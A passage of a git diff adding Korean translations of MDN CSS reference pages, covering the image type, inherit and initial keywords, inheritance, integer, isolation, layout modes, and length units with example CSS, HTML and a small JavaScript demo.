+url(report.pdf)      /* url() 함수가 가리키는 파일은 이미지여야 함 */
+element(#fakeid)     /* 요소 ID가 페이지에 존재해야 함 */
+image(z.jpg#xy=0,0)  /* 이미지 조각은 xywh=#,#,#,# 형식으로 작성해야 함 */
+image-set('cat.jpg' 1x, 'dog.jpg' 1x) /* 각각의 이미지가 다른 해상도를 가져야 함 */
+
+ +

접근성 고려사항

+ +

브라우저는 배경 이미지에 대한 어떠한 정보도 보조 기술에 제공하지 않습니다. 스크린 리더 사용자에게 특히 큰 영향을 주는데, 스크린 리더가 배경 이미지의 존재를 표현하지 않으므로 사용자도 이미지에 대해 알 수 없기 때문입니다. 이미지가 문서의 목적을 이해하는 것에 중요한 정보를 포함하는 경우 문서에 구조적으로 포함하는 편이 좋습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Images", "#typedef-image", "<image>")}}{{Spec2("CSS4 Images")}}Adds {{CSSxRef("element()")}}, {{CSSxRef("image()")}}, {{CSSxRef("image-set")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}, and {{CSSxRef("image-resolution")}}.
{{SpecName("CSS3 Images", "#typedef-image", "<image>")}}{{Spec2("CSS3 Images")}}Initial definition. Before this, there was no explicitly defined <image> data type. Images could only be defined using the url() functional notation.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.image")}}

+ +

같이 보기

+ +
    +
  • {{CSSxRef("<gradient>")}}
  • +
  • {{CSSxRef("element")}}
  • +
  • {{CSSxRef("imagefunction", "image()")}}
  • +
  • {{CSSxRef("image-set")}}
  • +
  • {{CSSxRef("cross-fade")}}
  • +
diff --git a/files/ko/web/css/index.html b/files/ko/web/css/index.html new file mode 100644 index 0000000000..7c5210e812 --- /dev/null +++ b/files/ko/web/css/index.html @@ -0,0 +1,96 @@ +--- +title: 'CSS: Cascading Style Sheets' +slug: Web/CSS +tags: + - CSS + - Design + - Landing + - Layout + - Reference + - 'l10n:priority' + - 스타일시트 +translation_of: Web/CSS +--- +
{{CSSRef}}
+ +

Cascading Style Sheets(CSS)는 HTML이나 XML(SVG, XHTML 같은 XML 방언(dialect) 포함)로 작성된 문서의 표현을 기술하기 위해 쓰이는 스타일시트 언어입니다. CSS는 요소가 화면, 종이, 음성이나 다른 매체 상에 어떻게 렌더링되어야 하는지 기술합니다.

+ +

CSS는 오픈 웹의 핵심 언어 중 하나이며 W3C 명세에 따라 브라우저끼리 표준을 맞춥니다. 레벨 단위로 개발한 CSS1은 더 이상 사용하지 않고, 다음 레벨인 CSS2.1은 권고안이며, 레벨보다 작은 단위인 모듈로 나뉜 CSS3은 표준화 과정을 밟고 있습니다.

+ +
+
    +
  • CSS 소개 + +

    웹 개발을 처음 하신다면 CSS 기본 문서를 읽어 CSS가 무엇인지와 사용법을 배워보세요.

    +
  • +
  • CSS 자습서 +

    시작하는 완전한 초보자를 돕는 단계별 입문서. 필요한 기초를 모두 제공합니다.

    +
  • +
  • CSS 참고서 +

    숙련된 개발자를 위한 전체 CSS 참고서는 CSS의 모든 속성과 개념을 설명합니다.

    +
  • +
+ +
+
+

자습서

+ +
+
CSS 소개
+
선택자, 속성, 규칙 작성, HTML에 CSS 적용하기, 길이와 색 등 단위 지정하기, 종속과 상속, 박스 모델, 디버깅 등 CSS의 작동 원리와 기본을 배웁니다.
+
텍스트 꾸미기
+
글꼴, 굵기, 기울이기, 줄 간격과 글자 간격, 그림자 등 텍스트 스타일의 기초를 논합니다. 사용자 설정 글꼴 적용, 목록과 링크 꾸미기로 마무리합니다.
+
박스 꾸미기
+
웹 페이지 레이아웃의 기초 중 하나인 박스 스타일을 살펴봅니다. 박스 모델에 대해 복습하고, 마진, 테두리, 패딩, 배경색, 이미지, 그림자, 필터 등 박스 레이아웃을 조절하는 법을 배웁니다.
+
CSS 레이아웃
+
텍스트를 꾸미고 박스를 변형하는 등 CSS 기초를 살펴보았으니, 이제 화면이나 서로에게 상대적인 위치에 올바르게 배치하는 법을 배웁니다. 필요한 전제조건은 다루었으니 각기 다른 디스플레이 설정, 플로팅과 포지션을 사용하는 전통적인 레이아웃법 및 플렉스박스 등 새로운 방법 등 더 깊은 영역을 배웁니다.
+
+
+ +
+

참고서

+ + + +

쿡북

+ +

CSS 레이아웃 쿡북은 여러분의 웹 사이트에서도 구현해야 할 수 있는, 흔히 쓰이는 레이아웃 패턴을 모아놓은 문서입니다. 프로젝트의 시작 코드는 물론이고, 레이아웃 명세를 사용하는 각기 다른 방법과 개발자로서 고를 수 있는 선택지를 제공합니다.

+ +

CSS 개발 도구

+ + +
+
+
+ +

같이 보기

+ + diff --git a/files/ko/web/css/index/index.html b/files/ko/web/css/index/index.html new file mode 100644 index 0000000000..953130cd26 --- /dev/null +++ b/files/ko/web/css/index/index.html @@ -0,0 +1,10 @@ +--- +title: CSS documentation index +slug: Web/CSS/Index +tags: + - CSS + - Index + - MDN Meta +translation_of: Web/CSS/Index +--- +

{{Index("/ko/docs/Web/CSS")}}

diff --git a/files/ko/web/css/inherit/index.html b/files/ko/web/css/inherit/index.html new file mode 100644 index 0000000000..71f7890cc3 --- /dev/null +++ b/files/ko/web/css/inherit/index.html @@ -0,0 +1,77 @@ +--- +title: inherit +slug: Web/CSS/inherit +tags: + - CSS + - CSS Cascade + - Layout + - Reference + - Web +translation_of: Web/CSS/inherit +--- +
{{CSSRef}}
+ +

CSS inherit 키워드를 사용한 속성은 부모 요소로부터 해당 속성의 계산값을 받아 사용합니다. CSS {{cssxref("all")}} 단축 속성을 포함한 모든 속성에 사용할 수 있습니다.

+ +

상속되는 속성(inherited properties)의 경우, 이는 기본 동작(behavior)을 강화하고 오직 다른 규칙을 재정의(override)해야 합니다. 상속되지 않는 속성(non-inherited properties)은, 이는 보통 비교적 거의 의미가 없는 동작을 지정하고 당신은 대신 {{cssxref("initial")}} 혹은 {{cssxref("all")}} 속성에 {{cssxref("unset")}} 사용을 고려할 지도 모릅니다.

+ +

상속(Inheritance)은 심지어 부모 요소가 포함(containing) 블록이 아니더라도, 항상 문서 트리 내 부모 요소로부터입니다.

+ +

예제

+ +
 /* h2를 green으로 만듦 */
+ h2 { color: green; }
+
+ /* 부모 요소의 color를 사용하도록 sidebar 내의 h2를 홀로 남김 */
+ #sidebar h2 { color: inherit; }
+
+ +

이 예제에서 sidebar 내부의 h2 요소는 다른 색일지도 모릅니다. 예를 들어, 그 중 하나는 규칙과 일치하는 div의 자식이라면

+ +
 div#current { color: blue; }
+
+ +

파란색이 됩니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS4 Cascade', '#inherit', 'inherit') }}{{Spec2('CSS4 Cascade')}}Level 3에 변화 없음.
{{ SpecName('CSS3 Values', "#common-keywords", "inherit") }}{{ Spec2('CSS3 Values') }}{{ SpecName('CSS2.1') }}에서 두드러진 변화 없음
{{ SpecName('CSS2.1', "cascade.html#value-def-inherit", "inherit") }}{{ Spec2('CSS2.1') }}초기 정의
+ +

브라우저 호환성

+ +
{{Compat("css.types.global_keywords.inherit")}}
+ +

같이 보기

+ +
    +
  • 상속
  • +
  • {{cssxref("initial")}}을 사용해 속성의 초깃값을 사용하세요.
  • +
  • {{cssxref("unset")}}을 사용해 속성의 상속값 또는 초깃값을 사용하세요.
  • +
  • {{cssxref("revert")}}를 사용해 사용자 에이전트가 지정한 값(또는 사용자가 수정한 값)으로 속성을 되돌리세요.
  • +
  • {{cssxref("all")}} 속성을 사용하면 요소의 모든 속성을 한꺼번에 initial, inherit, revert, unset할 수 있습니다.
  • +
diff --git a/files/ko/web/css/inheritance/index.html b/files/ko/web/css/inheritance/index.html new file mode 100644 index 0000000000..db14ed6cd8 --- /dev/null +++ b/files/ko/web/css/inheritance/index.html @@ -0,0 +1,54 @@ +--- +title: 상속 +slug: Web/CSS/inheritance +tags: + - CSS + - Guide + - Inheritance + - Layout + - Web +translation_of: Web/CSS/inheritance +--- +
{{cssref}}
+ +

MDN 내 각 CSS 속성(property) 정의 페이지의 요약절은 그 속성이 기본(default)으로 상속되는지("Inherited: Yes") 혹은 상속되지 않는지("Inherited: no") 쓰여 있습니다. 이 상속 여부는 요소의 속성에 어떤 값이 지정되지 않을 때 일어나는 일을 제어합니다.

+ +

상속되는 속성

+ +

요소의 상속되는 속성에 값이 지정되지 않은 경우, 요소는 부모 요소의 해당 속성의 계산값을 얻습니다. 오직 문서의 루트 요소만 속성의 요약절에 주어진 초기값을 얻습니다.

+ +

상속되는 속성의 대표적인 예는 {{ Cssxref("color") }} 속성입니다. 주어진 스타일 규칙:

+ +
p { color: green }
+ +

과 마크업:

+ +
<p>This paragraph has <em>emphasized text</em> in it.</p>
+ +

em 요소는  p 요소로부터 {{ Cssxref("color") }} 속성값을 상속했기 때문에, "emphasized text"는 녹색으로 보입니다. 속성의 초기값(페이지가 어떤 색을 지정하지 않았을 때 루트 요소에 사용된 색)을 얻지 습니다.

+ +

상속되지 않는 속성

+ +

요소의 상속되지 않는 속성(Mozilla 코드에서는 가끔 reset 속성으로 불림)에 어떤 값이 지정되지 않는 경우, 요소는 그 속성의 초기값을 얻습니다(속성의 요약절에 지정된 대로).

+ +

상속되지 않는 속성의 대표적인 예는 {{ Cssxref("border") }} 속성입니다. 주어진 스타일 규칙:

+ +
 p { border: medium solid }
+ +

과 마크업:

+ +
  <p>This paragraph has <em>emphasized text</em> in it.</p>
+ +

"emphasized text"는 테두리가 없습니다({{ Cssxref("border-style") }}의 초기값이 none이기 때문에).

+ +

참고

+ +

{{ Cssxref("inherit") }} 키워드는 작성자가 명시적으로 상속을 지정할 수 있게 합니다. 상속되는 속성과 상속되지 않는 속성 모두에 작동합니다.

+ +

같이 보기

+ +
    +
  • CSS 참고서
  • +
  • {{ CSS_key_concepts() }}
  • +
  • {{ Cssxref("inherit") }}
  • +
diff --git a/files/ko/web/css/initial/index.html b/files/ko/web/css/initial/index.html new file mode 100644 index 0000000000..3205718d3d --- /dev/null +++ b/files/ko/web/css/initial/index.html @@ -0,0 +1,78 @@ +--- +title: initial +slug: Web/CSS/initial +tags: + - CSS + - CSS Cascade + - CSS Value + - Layout + - Reference + - Web + - 초기값 + - 초기화 + - 초깃값 +translation_of: Web/CSS/initial +--- +
{{CSSRef}}
+ +

CSS initial 키워드는 속성의 초깃값(기본값)을 요소에 적용합니다. 초깃값은 브라우저가 지정합니다. 모든 속성에서 사용할 수 있으며, {{cssxref("all")}}에 지정할 경우 모든 CSS 속성을 초깃값으로 재설정합니다.

+ +
+

참고: 상속 속성의 초깃값은 예상치 못한 값일 수도 있습니다. 따라서, {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}} 키워드의 사용을 대신 고려해보세요.

+
+ +

예제

+ +

HTML

+ +
<p>
+  <span>This text is red.</span>
+  <em>This text is in the initial color (typically black).</em>
+  <span>This is red again.</span>
+</p>
+ +

CSS

+ +
p {
+  color: red;
+}
+
+em {
+  color: initial;
+}
+ +

{{EmbedLiveSample('예제')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{ SpecName('CSS4 Cascade', '#initial', 'initial') }}{{Spec2('CSS4 Cascade')}}Level 3에서 변화 없음.
{{ SpecName('CSS3 Cascade', '#initial', 'initial') }}{{Spec2('CSS3 Cascade')}}초기 정의.
+ +

브라우저 호환성

+ +
{{Compat("css.types.global_keywords.initial")}}
+ +

참조

+ +
    +
  • {{cssxref("inherit")}}, {{cssxref("unset")}}, {{cssxref("revert")}}, {{cssxref("all")}}
  • +
diff --git a/files/ko/web/css/initial_value/index.html b/files/ko/web/css/initial_value/index.html new file mode 100644 index 0000000000..2a764918ed --- /dev/null +++ b/files/ko/web/css/initial_value/index.html @@ -0,0 +1,51 @@ +--- +title: 초깃값 +slug: Web/CSS/initial_value +tags: + - CSS + - Reference +translation_of: Web/CSS/initial_value +--- +
{{cssref}}
+ +

CSS 속성의 초깃값은 속성의 기본값으로, 속성 정의 표가 명시하고 있습니다. 초깃값의 사용처는 상속 여부에 따라 다릅니다.

+ + + +
+

참고: {{cssxref("initial")}} 키워드를 사용해 명시적으로 초깃값을 지정할 수 있습니다.

+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
CSS Cascade 4Formal definition.
{{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}}{{Spec2("CSS2.1")}}Implicit definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/css/integer/index.html b/files/ko/web/css/integer/index.html new file mode 100644 index 0000000000..a6de2d4b1c --- /dev/null +++ b/files/ko/web/css/integer/index.html @@ -0,0 +1,93 @@ +--- +title: +slug: Web/CSS/integer +tags: + - CSS + - CSS Data Type + - Reference + - Web +translation_of: Web/CSS/integer +--- +
{{CSSRef}}
+ +

<integer> CSS 자료형은 {{cssxref("<number>")}}의 종류 중 하나로 소수점이 없는 완전한 수, 즉 정수를 표현합니다. 정수는 {{cssxref("column-count")}}, {{cssxref("counter-increment")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("z-index")}} 등 다양한 속성에서 사용할 수 있습니다.

+ +

구문

+ +

<integer> 자료형은 하나 이상의 0부터 9까지의 10진수 숫자로 구성하며, 선택적으로 +, -로 부호를 표시할 수 있습니다. 따로 연관지어야 하는 단위는 없습니다.

+ +
참고: 공식적으로 정해진 <integer> 값의 범위는 없습니다. Opera 12.1은 최대 215-1, IE는 220-1, 그 외 브라우저는 더 큰 값도 지원합니다. CSS3 Values 논의 중 최소한의 범위를 설정하자는 말이 많아서 가장 최근인 2012년 4월 LC 단계에서는 [-227-1; 227-1]으로 결정했습니다. 224-1과 230-1처럼 다른 값도 제안됐습니다. 하지만 최신 명세는 범위를 지정하고 있지 않습니다.
+ +

보간

+ +

애니메이션에서 <integer> 자료형의 값은 이산적으로 1씩 변화합니다. 계산은 유동소수점 실수를 사용하며 최종 결과인 이산값은 버림 함수를 사용해 얻습니다. 보간의 속도는 애니메이션과 연결된 타이밍 함수가 결정합니다.

+ +

예제

+ +

유효한 정수

+ +
12          양의 정수 (부호 표시 없음)
++123        양의 정수 (+ 부호)
+-456        음의 정수
+0           0
++0          0, 양의 부호
+-0          0, 음의 부호
+
+ +

유효하지 않은 정수

+ +
12.0        정수를 표현하지만 <interger>가 아닌 <number>
+12.         소수점은 불허
++---12      하나의 +/-만 허용
+ten         글자는 불허
+_5          특수문자는 불허
+\35         유니코드 이스케이프 문자는 정수를 표현하더라도 불허 (\35: 5)
+\4E94       아라비아 숫자 외의 다른 표현은 이스케이프 후에도 불허 (\4E94: 일본어 五).
+3e4         과학적 표기법 불허
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#integers', '<integer>')}}{{Spec2('CSS4 Values')}} 
{{SpecName('CSS3 Values', '#integers', '<integer>')}}{{Spec2('CSS3 Values')}} 
{{SpecName('CSS2.1', 'syndata.html#numbers', '<integer>')}}{{Spec2('CSS2.1')}}Explicit definition.
{{SpecName('CSS1', '', '<integer>')}}{{Spec2('CSS1')}}Implicit definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.integer")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<number>")}}
  • +
diff --git a/files/ko/web/css/isolation/index.html b/files/ko/web/css/isolation/index.html new file mode 100644 index 0000000000..ffeb6140f9 --- /dev/null +++ b/files/ko/web/css/isolation/index.html @@ -0,0 +1,114 @@ +--- +title: isolation +slug: Web/CSS/isolation +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/isolation +--- +
{{CSSRef}}
+ +

isolation CSS 속성은 요소가 새로운 {{glossary("stacking context", "쌓임 맥락")}}을 생성해야 하는지 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/isolation.html")}}
+ + + +

{{cssxref("mix-blend-mode")}}와 함께 사용했을 때 특히 유용합니다.

+ +

구문

+ +
/* 키워드 값 */
+isolation: auto;
+isolation: isolate;
+
+/* 전역 값 */
+isolation: inherit;
+isolation: initial;
+isolation: unset;
+
+ +

isolation 속성은 다음 키워드 값 중 하나를 사용해 지정합니다.

+ +

+ +
+
auto
+
요소에 적용한 속성 중 새로운 쌓임 맥락을 요구하는 속성이 있을 때만 쌓임 맥락을 생성합니다.
+
isolate
+
항상 새로운 쌓임 맥락을 생성합니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<div id="b" class="a">
+  <div id="d">
+    <div class="a c">auto</div>
+  </div>
+  <div id="e">
+    <div class="a c">isolate</div>
+  </div>
+</div>
+
+ +
.a {
+  background-color: rgb(0,255,0);
+}
+#b {
+  width: 200px;
+  height: 210px;
+}
+.c {
+  width: 100px;
+  height: 100px;
+  border: 1px solid black;
+  padding: 2px;
+  mix-blend-mode: difference;
+}
+#d {
+  isolation: auto;
+}
+#e {
+  isolation: isolate;
+}
+ +

{{ EmbedLiveSample('예제', 230, 230) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Compositing', '#isolation', 'Isolation') }}{{ Spec2('Compositing') }}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.isolation")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<blend-mode>")}}
  • +
  • {{cssxref("mix-blend-mode")}}, {{cssxref("background-blend-mode")}}
  • +
diff --git a/files/ko/web/css/layout_mode/index.html b/files/ko/web/css/layout_mode/index.html new file mode 100644 index 0000000000..607a699b21 --- /dev/null +++ b/files/ko/web/css/layout_mode/index.html @@ -0,0 +1,32 @@ +--- +title: 레이아웃 모드 +slug: Web/CSS/Layout_mode +tags: + - CSS + - Guide + - Layout + - Reference +translation_of: Web/CSS/Layout_mode +--- +
{{cssref}}
+ +

CSS 레이아웃 모드, 줄여서 레이아웃은 형제(sibling) 및 조상(ancestor) 박스와 상호 작용하는 방식을 기반으로 박스의 위치와 크기를 결정하는 알고리즘입니다. 그 중 몇 가지입니다:

+ +
    +
  • 블록 레이아웃(block layout), 문서 배치를 위해 설계됨. 블록 레이아웃은 요소(element)를 float 하거나 여러 단(multiple columns)에 걸쳐 배치하는 기술 같은 문서 중심 기능을 포함합니다.
  • +
  • 인라인 레이아웃(inline layout), 텍스트 배치를 위해 설계됨.
  • +
  • 테이블 레이아웃(table layout), 표 배치를 위해 설계됨.
  • +
  • 위치지정 레이아웃(positioned layout), 다른 요소와 상호 작용이 많이 없는 요소의 위치지정을 위해 설계됨.
  • +
  • 신축 박스 레이아웃(flexible box layout), 부드럽게 크기조정이 될 수 있는 복잡한 페이지 배치를 위해 설계됨. {{experimental_inline}}
  • +
  • 그리드 레이아웃(grid layout), 고정된 격자(grid)에 상대적인 요소 배치를 위해 설계됨. {{experimental_inline}}
  • +
+ +
+

참고: CSS 속성(CSS properties) 모두가 모든 레이아웃 모드에 적용되지는 않습니다. 속성 대부분은 한 두 모드에 적용되고 속성이 다른 레이아웃 모드에 참여하는 요소에 설정되면 효과가 없습니다.

+
+ +

같이 보기

+ +
    +
  • {{CSS_key_concepts}}
  • +
diff --git a/files/ko/web/css/length-percentage/index.html b/files/ko/web/css/length-percentage/index.html new file mode 100644 index 0000000000..7ab06ee4ff --- /dev/null +++ b/files/ko/web/css/length-percentage/index.html @@ -0,0 +1,55 @@ +--- +title: +slug: Web/CSS/length-percentage +tags: + - CSS + - CSS Date Type + - Reference +translation_of: Web/CSS/length-percentage +--- +
{{CSSRef}}
+ +

<length-percentage> CSS 자료형은 {{Cssxref("<length>")}} 또는 {{Cssxref("<percentage>")}}인 값을 나타냅니다.

+ +

구문

+ +

{{Cssxref("<length>")}}와 {{Cssxref("<percentage>")}} 문서에서 각 자료형의 구문을 살펴보세요.

+ +

calc()에서 사용하기

+ +

<length-percentage>를 허용한다면 백분율이 길이로 이행한다는 뜻이므로 {{cssxref("calc", "calc()")}}와 함께 사용할 수 있습니다. 따라서 아래의 {{cssxref("width")}} 값 모두 유효합니다.

+ +
width: 200px
+width: 20%
+width: calc(100% - 200px)
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#mixed-percentages', '<length-percentage>')}}{{Spec2('CSS4 Values')}} 
{{SpecName('CSS3 Values', '#mixed-percentages', '<length-percentage>')}}{{Spec2('CSS3 Values')}}Defines <length-percentage>. Adds calc()
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.length-percentage")}}

diff --git a/files/ko/web/css/length/index.html b/files/ko/web/css/length/index.html new file mode 100644 index 0000000000..e2e5b3925b --- /dev/null +++ b/files/ko/web/css/length/index.html @@ -0,0 +1,252 @@ +--- +title: +slug: Web/CSS/length +tags: + - CSS + - CSS Data Type + - Layout + - Reference + - Web + - length +translation_of: Web/CSS/length +--- +
{{CSSRef}}
+ +

CSS <length> 자료형은 거리 값을 나타냅니다. {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, {{Cssxref("border-width")}}, {{Cssxref("font-size")}}, {{Cssxref("text-shadow")}} 등 다양한 속성에 사용할 수 있습니다.

+ +
+

참고: {{cssxref("<percentage>")}} 값을 일부 속성의 <length> 값으로 사용할 수는 있지만 <percentage><length> 는 다릅니다. {{cssxref("<length-percentage>")}}를 참고하세요.

+
+ +

구문

+ +

<length> 자료형은 {{cssxref("<number>")}} 다음에 아래 나열한 단위 중 하나를 붙여 구성합니다. 다른 CSS 단위와 마찬가지로 숫자와 단위 문자 사이에 공백은 존재하지 않습니다. 숫자 0 뒤에는 단위를 붙이지 않아도 됩니다.

+ +
+

참고: 일부 속성은 음의 <length>를 받지만 다른 속성은 그렇지 않습니다.

+
+ +

단위

+ +

상대길이 단위

+ +

상대길이는 어떤 다른 거리와의 상대적 비율을 표현합니다. 어떤 다른 거리란 단위에 따라 특정 문자, {{cssxref("line-height")}}, 아니면 {{glossary("viewport", "뷰포트")}}일 수 있습니다.

+ +
글꼴 상대 길이
+ +

글꼴 상대 길이는 <length> 값을 특정 문자나 현재 요소가 사용하는 글꼴의 특정 속성을 기준으로 설정합니다.

+ +
+

참고: 아래 단위들, 특히 emrem은 사용자가 글꼴 크기를 늘려도 페이지의 수직 흐름을 유지하는, 확대 가능한 레이아웃을 만들기 위해 많이 쓰입니다.

+
+ +
+
cap {{experimental_inline}}
+
요소 {{cssxref("font")}}의 "cap height"(영문 대문자의 평균 높이 값)를 나타냅니다.
+
ch
+
요소 {{cssxref("font")}}의 문자 "0"(영, 유니코드 U+0030)의 너비를 나타냅니다.
+
문자 "0"의 너비를 측정하는 것이 불가능하거나 실용적이지 않은 경우 너비 0.5em에 높이 1em이라고 가정해야 합니다.
+
em
+
요소 {{cssxref("font-size")}}의 계산값. 요소의 {{cssxref("font-size")}} 속성에 사용한다면 상속받는 font-size 값을 나타냅니다.
+
ex
+
요소 {{cssxref("font")}}의 {{interwiki("wikipedia", "x높이")}}를 나타냅니다. "x"문자를 가진 글꼴에서는 보통 소문자 높이와 같습니다. 많은 글꼴에서 1ex ≈ 0.5em입니다.
+
ic {{experimental_inline}}
+
"水" (한중일 한자 "물", U+6C34) 문자를 렌더링할 때 사용하는 글꼴에서의 너비를 나타냅니다.
+
lh {{experimental_inline}}
+
요소가 {{cssxref("line-height")}}를 가지고 있는 경우, line-height의 계산값을 절대 길이로 변환해 나타냅니다.
+
rem
+
루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("font-size")}}를 나타냅니다. 루트 요소의 font-size에 사용할 경우 최초값(보통 브라우저 기본값은 16px이나 사용자 설정으로 변할 수 있음)을 나타냅니다.
+
rlh {{experimental_inline}}
+
루트 요소(보통 {{HTMLElement("html")}})의 {{cssxref("line-height")}}를 절대 길이로 변환해 나타냅니다. 루트 요소의 {{cssxref("font-size")}}나 line-height에 사용할 경우 최초값을 나타냅니다.
+
+ +
뷰포트 백분율 길이
+ +

뷰포트 백분율 길이는 <length> 값을 {{glossary("viewport", "뷰포트")}}, 즉 문서에서 볼 수 있는 부분의 크기를 기준으로 설정합니다. 뷰포트 길이는 {{cssxref("@page")}} 선언 블록에서는 유효하지 않습니다.

+ +
+
vh
+
뷰포트의 초기 컨테이닝 블록 높이 1%와 같습니다.
+
vw
+
뷰포트의 초기 컨테이닝 블록 너비 1%와 같습니다.
+
vi {{experimental_inline}}
+
초기 컨테이닝 블록의 인라인 축 크기 1%와 같습니다.
+
vb {{experimental_inline}}
+
초기 컨테이닝 블록의 블록 축 크기 1%와 같습니다.
+
vmin
+
vwvh 중 작은 것과 같습니다.
+
vmax
+
vwvh 중 큰 것과 같습니다.
+
+ +

절대길이 단위

+ +

절대길이 단위는 프린트 등 출력 수단의 크기를 알 수 있을 때의 물리적 측정 거리를 나타냅니다. 구현은 어떤 단위를 물리적인 실제 거리에 맞춰 기준으로 삼고, 나머지 단위를 상대적으로 계산해 설정합니다. 기준 단위는 화면 등 저해상도 장치와 프린터 등 고해상도 장치에서 다릅니다.

+ +

저해상도 장치에서 px 단위는 물리적인 픽셀을 의미하며 나머지는 이에 상대적입니다. 따라서 1in96px로 정의하며 이는 72pt와 동일합니다. 그러나 인치(in), 센티미터(cm), 밀리미터(mm) 등 이렇게 정의하는 단위가 같은 이름을 가진 물리적인 측정 단위와 일치하지 않을 수 있다는 문제점이 있습니다.

+ +

고해상도 장치에서 인치(in), 센티미터(cm), 밀리미터(mm)가 기준이 되어 물리적 거리와 동일합니다. 그래서 px 단위도 이에 맞춰 1인치의 1/96로 정의합니다.

+ +
+

참고: 많은 사용자가 {{glossary("user agent", "사용자 에이전트")}}의 기본 글꼴 크기를 늘려 읽기 쉽도록 설정합니다. 절대길이는 사용자 설정을 따르지 않기 때문에 접근성 문제를 유발할 수 있습니다. 따라서 font-size를 설정할 땐 em, rem 등 상대길이를 선택하세요.

+
+ +
+
px
+
1 픽셀. 화면에서는 전통적으로 하나의 장치 픽셀(점)을 의미했지만, 프린터나 고해상도 화면에서는 1/96 in을 맞출 수 있도록 여러 개의 장치 픽셀을 의미합니다.
+
cm
+
1 센티미터, 1cm = 96px/2.54.
+
mm
+
1 밀리미터, 1mm = 1/10 cm.
+
Q {{experimental_inline}}
+
1/4 밀리미터, 1Q = 1/40 cm.
+
in
+
1 인치, 1in = 2.54cm = 96px.
+
pc
+
1 피카, 1pc = 12pt = 1/61in.
+
pt
+
One point. 1pt = 1/72nd of 1in.
+
+ +

보간

+ +

애니메이션에서 <length> 자료형의 값은 부동소수점 실수로 간주하며 보간은 계산값을 사용합니다. 보간 속도는 애니메이션에 연결된 타이밍 함수가 결정합니다.

+ +

예제

+ +

길이 단위 비교

+ +

아래 데모에서는 주어진 하나의 입력 칸에 300px, 50%, 30vw<length> 값을 입력한 후 Return을 누르면 그 길이만큼의 막대를 생성합니다.

+ +

서로 다른 길이 단위를 입력하고 비교해보세요.

+ +

HTML

+ +
<div class="outer">
+  <div class="input-container">
+    <label>길이:</label>
+    <input type="text" id="length">
+  </div>
+  <div class="inner">
+
+  </div>
+</div>
+<div class="results">
+</div>
+ +

CSS

+ +
html {
+  font-family: sans-serif;
+  font-weight: bold;
+  box-sizing: border-box;
+}
+
+.outer {
+  width: 100%;
+  height: 50px;
+  background-color: #eee;
+  position: relative;
+}
+
+.inner {
+  height: 50px;
+  background-color: #999;
+  box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+              inset -3px -3px 5px rgba(0,0,0,0.5);
+}
+
+.result {
+  height: 20px;
+  background-color: #999;
+  box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+              inset -3px -3px 5px rgba(0,0,0,0.5);
+  background-color: orange;
+  display: flex;
+  align-items: center;
+  margin-top: 10px;
+}
+
+.result code {
+  position: absolute;
+  margin-left: 20px;
+}
+
+.results {
+  margin-top: 10px;
+}
+
+.input-container {
+  position: absolute;
+  display: flex;
+  justify-content: flex-start;
+  align-items: center;
+  height: 50px;
+}
+
+label {
+  margin: 0 10px 0 20px;
+}
+ +

JavaScript

+ +
const inputDiv = document.querySelector('.inner');
+const inputElem = document.querySelector('input');
+const resultsDiv = document.querySelector('.results');
+
+inputElem.addEventListener('change', () => {
+  inputDiv.style.width = inputElem.value;
+
+  const result = document.createElement('div');
+  result.className = 'result';
+  result.style.width = inputElem.value;
+  result.innerHTML = `<code>너비: ${inputElem.value}</code>`;
+  resultsDiv.appendChild(result);
+
+  inputElem.value = '';
+  inputElem.focus();
+})
+ +

결과

+ +

{{EmbedLiveSample('길이_단위_비교','100%', 700)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#lengths', '<length>')}}{{Spec2('CSS4 Values')}}Adds the vi, vb, ic, lh, and rlh units.
{{SpecName('CSS3 Values', '#lengths', '<length>')}}{{Spec2('CSS3 Values')}}Adds the ch, rem, vw, vh, vmin, vmax, and Q units.
{{SpecName('CSS2.1', 'syndata.html#length-units', '<length>')}}{{Spec2('CSS2.1')}}Explicit definition of the em, pt, pc, and px units.
{{SpecName('CSS1', '#length-units', '<length>')}}{{Spec2('CSS1')}}Initial definition. Implicit definition of the em, pt, pc, and px units.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.length")}}

diff --git a/files/ko/web/css/letter-spacing/index.html b/files/ko/web/css/letter-spacing/index.html new file mode 100644 index 0000000000..4f7acc93f5 --- /dev/null +++ b/files/ko/web/css/letter-spacing/index.html @@ -0,0 +1,135 @@ +--- +title: letter-spacing +slug: Web/CSS/letter-spacing +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - 글자 간격 +translation_of: Web/CSS/letter-spacing +--- +
{{CSSRef}}
+ +

